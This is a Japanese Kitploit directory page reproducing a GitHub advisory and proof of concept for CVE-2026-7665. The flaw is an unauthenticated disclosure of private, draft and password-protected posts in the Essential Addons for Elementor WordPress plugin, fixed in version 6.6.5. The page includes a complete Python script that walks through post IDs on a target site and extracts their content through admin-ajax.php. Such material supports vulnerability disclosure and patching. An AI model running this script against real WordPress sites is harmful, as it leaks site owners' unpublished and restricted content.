Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-7665 — Elementor用Essential Addonsの認証なし情報開示の脆弱性CVE-2026-7665の概念実証エクスプロイトで、プライベート、下書き、パスワード保護されたWordPress投稿の抽出を可能にします。 | Kitploit
ツール/GitHubGitHub/anirudhmakkar/cve-2026-7665
脆弱性分析エクスプロイト情報収集ウェブセキュリティペネトレーションテスト学習と教育
GitHubanirudhmakkar/cve-2026-7665

cve-2026-7665

Elementor用Essential Addonsの認証なし情報開示の脆弱性CVE-2026-7665の概念実証エクスプロイトで、プライベート、下書き、パスワード保護されたWordPress投稿の抽出を可能にします。

リポジトリを見る
143ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-7665 — Essential Addons for Elementor における非認証情報漏洩

フィールド詳細
CVE IDCVE-2026-7665
深刻度Medium
CVSS スコア5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
影響を受けるプラグインEssential Addons for Elementor
影響を受けるバージョン≤ 6.6.4
アクティブインストール数1,000,000+
CVE 割り当て元Wordfence (CNA)
公開日2026年6月
研究者Anirudh Makkar

概要

Essential Addons for Elementor の ajax_load_more AJAX ハンドラは、投稿コンテンツを返す前に投稿の公開状態を確認していませんでした。これにより、認証されていない攻撃者が細工した wp-admin/admin-ajax.php リクエストを送信することで、WordPress の 非公開(private)、パスワード保護(password-protected)、下書き(draft) の投稿を読み取ることが可能でした。認証や nonce は不要です。


脆弱性の詳細

根本原因

プラグインは wp_ajax_nopriv_eael_post_grid_load_more アクションフックにハンドラを登録しており、認証されていない訪問者でもアクセス可能です。このハンドラが「さらに読み込む」ページネーション機能のために WP_Query を実行して投稿を取得する際、current_user_can('read_post', $post_id) の呼び出しや、リクエストユーザーの権限に応じた get_post_status() のチェックを行いません。

WordPress コアは AJAX ハンドラ内での投稿レベルの認可チェックをプラグインに依存しており、自動的には行いません。このチェックが欠如しているため、投稿の公開設定に関わらずハンドラは完全な投稿コンテンツを返します。

影響を受けるコードパス

root@kitploit:~
wp-admin/admin-ajax.php
  → do_action('wp_ajax_nopriv_eael_post_grid_load_more')
    → Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
      → WP_Query([
            'post_status' => ['publish', 'private', 'draft'],  // すべてのステータスが返される
            ...
        ])
      → [認可チェックなしで完全な投稿コンテンツを返す]

影響

認証されていない攻撃者は以下を列挙および読み取り可能です:

  • 非公開投稿(ログインユーザーのみを対象)
  • パスワード保護投稿(パスワードを知らなくても)
  • 下書き投稿(未公開コンテンツ)

これにより、機密性の高いビジネスコンテンツ、未発表のお知らせ、WordPress 投稿として管理されている内部ドキュメント、その他非公開のコンテンツが漏洩する可能性があります。


概念実証

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2026-7665 — 非認証情報漏洩
Essential Addons for Elementor <= 6.6.4

使用方法: python3 poc.py https://target.example.com [post_id]

投稿IDを反復し、非公開/下書き/パスワード保護コンテンツを抽出します。
教育目的および許可されたテスト目的のみで使用してください。
"""

import requests
import sys
import json

def check_target(base_url):
    """プラグインが存在するか確認。"""
    resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
    return resp.status_code != 404

def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
    url = f"{base_url}/wp-admin/admin-ajax.php"
    data = {
        "action":    "eael_post_grid_load_more",
        "widget_id": widget_id,
        "page_id":   page_id,
        "post_id":   str(post_id),
        "page":      "2",
    }
    try:
        resp = requests.post(url, data=data, timeout=10)
        if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
            return resp.text
    except requests.RequestException:
        pass
    return None

def main():
    if len(sys.argv) < 2:
        print(f"使用方法: {sys.argv[0]} <target_url> [start_id] [end_id]")
        sys.exit(1)

    target   = sys.argv[1].rstrip("/")
    start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
    end_id   = int(sys.argv[3]) if len(sys.argv) > 3 else 50

    print(f"[*] ターゲット: {target}")
    print(f"[*] 投稿ID {start_id}–{end_id} を調査中")

    if not check_target(target):
        print("[!] プラグインが検出されませんでした。ターゲットはパッチ済みか、EAEL が実行されていない可能性があります")

    found = 0
    for pid in range(start_id, end_id + 1):
        result = fetch_private_post(target, pid)
        if result:
            found += 1
            print(f"\n[+] 投稿ID {pid} — コンテンツが露出 ({len(result)} バイト)")
            print(result[:300])
            print("..." if len(result) > 300 else "")

    print(f"\n[*] 完了。露出したコンテンツが見つかった投稿数: {found}")

if __name__ == "__main__":
    main()

修正方法

Essential Addons for Elementor を バージョン 6.6.5 以降 に更新してください。

この修正では、読み込みハンドラ内でクエリ結果に投稿を含める前に current_user_can('read_post', $post_id) チェックを追加しています。


参考情報

  • Wordfence アドバイザリ
  • NVD — CVE-2026-7665
  • Essential Addons for Elementor 更新履歴

報告者: Anirudh Makkar · LinkedIn

ツールをダウンロード